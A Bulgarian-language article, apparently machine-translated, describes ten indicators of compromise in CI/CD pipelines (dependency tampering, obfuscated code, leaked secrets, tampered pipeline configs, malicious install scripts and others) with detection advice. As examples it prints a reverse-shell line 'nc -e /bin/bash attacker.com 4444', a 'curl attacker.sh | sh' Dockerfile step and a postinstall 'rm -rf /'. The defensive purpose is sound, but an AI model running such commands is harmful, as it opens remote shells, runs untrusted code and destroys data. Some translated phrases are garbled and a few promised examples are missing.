Въведение: Какви са индикаторите за компрометиране в киберсигурността?
Индикаторите за компрометиране са първите предупредителни знаци, че вашата система или pipeline може да е под атака. С прости думи, индикатори за компромис са следи, оставени от нападателите, като странни loginс, промени във файлове или скрит зловреден софтуер. В Киберсигурност на МОК, те действат като пръстови отпечатъци на местопрестъпление, давайки ви ясно доказателство, че нещо не е наред. Следователно, когато разработчиците питат какви са индикаторите за компромис, отговорът не се ограничава само до сървъри или защитни стени, той включва и рискове, скрити в съвременните CI/CD pipelines.
В тях pipelineВ резултат на това, нападателите могат да променят код, да инжектират злонамерени зависимости или да променят стъпките за изграждане, без да бъдат забелязани. Повечето ръководства обаче все още се фокусират само върху сървъри или мрежи. В резултат на това веригата за доставки на софтуер се е превърнала в една от най-лесните цели.
Ето защо намирането на индикатори за компромис в CI/CD pipelines е от съществено значение. Преди всичко, помага на екипите да блокират злонамерен софтуер, да защитават тайни и да осигурят сигурност на всяка стъпка от доставката на софтуер.
10-те най-важни индикатора за компромис в CI/CD Pipelines
Когато се обясняват индикаторите за компрометиране, повечето списъци се фокусират върху сървъри или мрежи. И все пак в CI/CD pipelineНападателите оставят много различни пръстови отпечатъци. Разпознаването на тези сигнали е от решаващо значение за проактивната защита. По-долу са изброени 10-те червени флага за киберсигурност на IOC, за които всеки разработчик и инженер по сигурността трябва да следи.
1. Подозрителни промени в зависимостта
Един от основните показатели за компромис в pipelines е внезапна, странна актуализация на зависимостите. Атакуващите често използват доверието, което разработчиците отдават на мениджърите на пакети, за да добавят опасни пакети.
Например, в npm a package.json разликата може внезапно да включва:
Такива промени може да изглеждат безопасни, но могат да инжектират троянски код във всяка компилация.
Въздействие: Компрометираните компилации наследяват злонамерен софтуер в източника.
Откриване: налагайте прегледи на зависимости, проследявайте разликите в заключващите файлове и сканирайте нови пакети през цялото време.
2. Обфускиран код в компилациите
Авторите на зловреден софтуер разчитат на обфускация, за да заобиколят прегледите. В резултат на това този индикатор за компрометиране в CI/CD pipelines може да е един от най-трудните за разкриване. Всъщност, обфускираните полезни товари често се промъкват в библиотеки с отворен код или изображения на контейнери без предупреждение.
Например:
- PyPI пакет, използващ
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Docker образ, пълен с ненужни UPX двоични файлове.
- JavaScript, пълен с
\x41\x42избяга от скривалища на крадци на удостоверения.
Въздействие: Скритият код се изпълнява безшумно по време на компилация или изпълнение, което го прави критичен сигнал в киберсигурността на IOC.
Откриване: Комбинирам SAST със сканиране за злонамерен софтуер, за да маркирате кодиран или пакетиран код. Преди всичко, третирайте обфускацията като червен флаг, който заслужава по-нататъшно разследване.
3. Разкрити тайни в Git: Класически риск за киберсигурността на IOC
CI/CD pipelineчесто наследяват тайни директно от хранилища. Въпреки това, когато се появят тайни в Git, те се превръщат в един от най-ясните отговори на въпроса „какви са индикаторите за компромис в pipeline„След като идентификационните данни попаднат в Git, нападателите могат да ги експлоатират за неопределено време.
Например:
- A
.envфайл, съдържащAWS_SECRET_KEY=. - Вкарани токени
config.json. - Тайните все още са видими в историята на Git дори след премахването им.
Въздействие: Разкритите ключове дават на нападателите директен достъп до CI/CD pipelineс, облачни системи или бази данни. Следователно това е един от най-опасните индикатори за компрометиране.
Откриване: употреба pre-commit hooks и CI задачи за тайно сканиране и незабавно отменяне на изтекли ключове. Освен това, наложете автоматизирано отстраняване, за да намалите времето за експозиция.
4. Подправено Pipeline Конфигурации: Скрити индикатори за компрометиране
Pipeline конфигурациите са високоценни цели, защото Една единствена модификация често обърква целия работен процесСледователно, подправени pipeline Файловете са основен риск за киберсигурността на IOC, който традиционните инструменти за мониторинг рядко откриват.
Например:
В действията на GitHub:
- В GitLab: добавена е злонамерена задача към
.gitlab-ci.ymlкойто изхвърля чувствителни данни. - В Дженкинс:
sh "nc -e /bin/bash attacker.com 4444".
Въздействие: Тези неодобрени промени превръщат вашето pipeline в постоянна задна вратичка за нападателите, което очевидно се брои за индикатор за компрометиране.
Откриване: Приложете подписани конфигурации, изисквайте PR одобрения и наблюдавайте за неочаквани задачи. Освен това, задайте guardrails които автоматично блокират променените работни процеси.
5. Привилегировани IaC По подразбиране
Неправилно конфигурираните дефиниции на инфраструктурата често създават скрити задни врати. В резултат на това привилегированите настройки по подразбиране в IaC са класически риск за киберсигурността на МОК.
Например:
- Разгръщане на Kubernetes, предоставящо pod-ове
privileged: true. - Helm диаграми, разкриващи услуги с
0.0.0.0:22.
Въздействие: Атакуващите получават root достъп или излагат вътрешни услуги публично. Следователно, тези проблеми значително разширяват повърхността за атака.
Откриване: Кандидатствай IaC сканиране, за да се наложат минимални привилегии преди сливане. Освен това се уверете, че всяка конфигурация е прегледана като част от pipeline.
6. Необичайно поведение при изграждане
Нападателите често променят pipeline поведение за промъкване на злонамерени действия. С други думи, необичайната активност по изграждане е един от най-ясните отговори на въпроса кои са индикаторите за компрометиране в CI/CD pipelines.
Например:
- Изграждания, отправящи изходящи мрежови заявки към непознати домейни.
- Проект Node.js внезапно генерира PowerShell по време на
npm install. - CI задача, която изтегля големи двоични файлове, които не са дефинирани в скриптовете за изграждане.
Въздействие: Компрометираните компилации могат да действат като точки за разпространение на зловреден софтуер. Преди всичко, те разпространяват злонамерени полезни товари във всяко внедряване.
Откриване: Следете лог файловете за компилация за неочаквани процеси или връзки. Освен това конфигурирайте откриването на аномалии, за да маркирате поведение извън нормата.
7. Злонамерени пакетни скриптове като рискове за киберсигурността на IOC
Мениджърите на пакети поддържат жизнения цикъл hooks които атакуващите използват. Следователно, злонамерените скриптове в npm, PyPI или Dockerfiles са силни индикатори за компрометиране.
Например:
- npm:
postinstallизпълняващ се скриптrm -rf /или сигнализиране към C2. - PyPI:
setup.pyизпълнение на скрит Python код при инсталиране. - Докер файл:
RUN curl attacker.sh | sh.
Въздействие: Атаката се изпълнява по време на инсталацията, преди каквото и да е тестване по време на изпълнение. Следователно, разработчиците може никога да не забележат, докато не стане твърде късно.
Откриване: Сканирайте манифестите на пакетите за инсталиращи скриптове. Освен това, ограничете рисковите hooks in CI/CD работни места за намаляване на експозицията.
8. Индикатори за компрометиране на отравяне в системния регистър
Атакуващите заменят или променят артефакти в регистрите и тези събития са учебникарски примери за това кои са индикаторите за компрометиране във веригата за доставки. pipelines.
Например:
- Таг за изображение на Docker, тихомълком актуализиран със слой, заразен с троянски вирус.
- Вътрешен пакет е заменен с отровна версия.
- npm namespace squatting, например
lodash-proxy.
Въздействие: Всяка компилация, използваща артефакта от системния регистър, става компрометирана. Не само това, но компрометирането се разпространява и към услугите надолу по веригата.
Откриване: Приложете проверки на подписите и целостта на всички изтегляния от системния регистър. Освен това, проследявайте произхода на артефактите с SBOM валидиране.
9. Аномална потребителска активност като доказателство на IOC
Компрометираните акаунти почти винаги оставят след себе си необичайни следи. Съответно, необичайното поведение на разработчика е силен индикатор за компрометиране.
Например:
- Commits е избутан в 3 часа сутринта местно време.
- Одобрения за връзки с обществеността от клиенти в отпуск.
- Pipelineзадейства се с необичайна честота.
Въздействие: Нападателите злоупотребяват с откраднати идентификационни данни, за да вмъкват злонамерени промени. В крайна сметка, неоторизираните commitсе вписват лесно в нормалните работни процеси.
Откриване: Монитор SCM активност за аномалии, прилагане на многофакторна автентичност (MFA) и редовна ротация на токени. Освен това, предупреждавайте за подозрителни commit или модели на одобрение.
10. Неуспешни проверки на целостта или подписите в киберсигурността на IOC
Често срещано, но пренебрегвано индикатор за компромис е неуспешна проверка за целостта или подписа. В киберсигурността на IOC тези проверки потвърждават автентичността на кода или артефактите. Пропускането им оставя pipelineе изложено.
Примери:
- SHA256 хеш не съответства на очакваната контролна сума.
- Липсващ или невалиден GPG подпис.
- An SBOM показване на неподписани артефакти.
Въздействие: Провалите в целостта често означават подправяне, отравяне на системния регистър или инжектиране на зловреден софтуер.
Откриване: Автоматизирайте проверките на подписите, наложете валидиране на контролни суми и блокирайте неподписани компоненти. Преди всичко, третирайте всяка неуспешна проверка като ясно доказателство за компрометиране.
CI/CD Индикатори за компромис с един поглед
| Индикатор за компромис (МОК) | Въздействие върху CI/CD Pipelines | Как да открием |
|---|---|---|
| Подозрителни промени в зависимостта | Атакуващите инжектират злонамерени библиотеки в мениджърите на пакети, което води до компрометирани компилации. | Проследявайте разликите в заключващите файлове, налагайте прегледи на зависимостите и сканирайте зависимостите непрекъснато. |
| Обфускиран код в компилациите | Скритите полезни товари се изпълняват по време на компилации или по време на изпълнение без да бъдат открити. | употреба SAST и сканиране за злонамерен софтуер за маркиране на base64, hex или пакетирани кодови модели. |
| Разкрити тайни в Git | Изтекли токени или API ключове предоставят на нападателите директен достъп до критични системи. | Изпълнете тайни сканирания в Git hooks и автоматично да отменят изтеклите идентификационни данни. |
| Подправено Pipeline Формации | Модифицираните работни процеси позволяват изтичане на данни или запазване вътре CI/CD. | Изисквайте PR одобрения, налагайте подписани конфигурации и наблюдавайте pipeline промени. |
| Привилегирован IaC По подразбиране | Прекалено разрешителните роли или несигурните настройки по подразбиране излагат облачните среди на риск. | Сканирайте файловете на Terraform, Kubernetes и Helm за прилагане на най-малко привилегии. |
| Необичайно поведение при изграждане | Pipelineизползвани като точки за разпространение на зловреден софтуер или за странично движение. | Анализирайте лог файловете за компилация за неочаквани изтегляния, процеси или изходящи повиквания. |
| Злонамерени пакетни скриптове | Скритите скриптове преди/след инсталация задействат полезни товари преди тестване по време на изпълнение. | Блокирайте рискови npm/PyPI скриптове и ограничете изпълнението им в CI/CD работни места. |
| Отравяне на системния регистър | Троянизираните артефакти заместват надеждни образи или двоични файлове в регистрите. | Проверявайте контролни суми, налагайте валидиране на подписи и сканирайте регистрите проактивно. |
| Аномална потребителска активност | Компрометирани акаунти изпращат злонамерени commitили спусък pipelines. | Прилагане на многостранна финансова помощ, наблюдение commits за аномалии и анализирайте login модели. |
| Неуспешни проверки за целостта или подписа | Показва подправен код, зависимости или изображения, влизащи в pipeline. | Автоматизирайте проверките за целостта и блокирайте неподписани или несъответстващи компоненти. |
Защо традиционната киберсигурност на МОК се проваля CI/CD Рискове
Повечето организации вече следят индикатори за компрометиране на сървъри, компютри или мрежи. Този класически подход към киберсигурността на IOC обаче игнорира CI/CD pipelines, които сега са едни от най-критичните повърхности за атака. Всъщност, pipelineпоказват уникални сигнали за компрометация, които традиционните инструменти не могат да открият.
Индикатори за компромис в традиционната сигурност
В конвенционалната киберсигурност на IOC фокусът обикновено е върху:
- необикновен loginили IP адреси, които предполагат откраднати идентификационни данни.
- Подозрителни хешове на файлове или промени в системния регистър, които разкриват злонамерен софтуер.
- Неочакван изходящ трафик, който сочи към изтичане на данни.
Това са добре познати показатели, които се проследяват и в MITER ATT&CK рамка, който картографира често срещани поведения и тактики на противника. Това са полезни сигнали. Те обаче се отнасят главно за операционни системи или корпоративни мрежи. В резултат на това те пропускат фината намеса, която се случва по-рано във веригата за доставки на софтуер.
Защо CI/CD Pipelineса различни
CI/CD pipelineса автоматизирани среди, където разработчиците commit код, зависимости за изтегляне и компилации за пускане на пазара. Атакуващите знаят, че едно компрометиране тук се разпространява каскадно във всяко внедряване. Съответно, какви са индикаторите за компрометиране в CI/CD pipelines? Те изглеждат много различно:
- Злонамерена зависимост, добавена негласно към package.json или requirements.txt.
- API ключове или токени, изложени в Git commits или .env файлове.
- Обфускиран код, инжектиран в npm или PyPI пакети.
- Terraform или Kubernetes файлове с несигурни настройки по подразбиране, като например privileged: true.
- Pipeline задачи, редактирани с цел извличане на данни или отваряне на задни врати.
Тези компромисни сигнали в CI/CD остават невидими за standard инструменти за сигурност.
Пропастта в киберсигурността на МОК
Въпреки че много екипи разбират стойността на индикаторите за компрометиране, те все още разчитат само на откриване от сървъри и мрежови лог файлове. Следователно, атакуващите могат да отровят компилации или да вмъкнат зловреден софтуер, без да оставят обичайните следи. Ето защо инциденти като задната вратичка на XZ Utils или злонамерени npm пакети оставаха незабелязани, докато не стигнат до производствена среда.
Тези видове компромиси във веригата за доставки също са подчертани от CISРъководство за сигурност на веригата за доставки на А, който предупреждава, че нападателите все по-често се насочват към CI/CD pipelineи регистри.
Храна за вкъщи
Традиционната киберсигурност на IOC е необходима, но не е достатъчна. Преди всичко екипите трябва да разпознават индикатори за компрометиране, специфични за CI/CD pipelineс. Само тогава те могат да открият злонамерен код или pipeline злоупотреба, преди тя да се разпространи в различна среда.
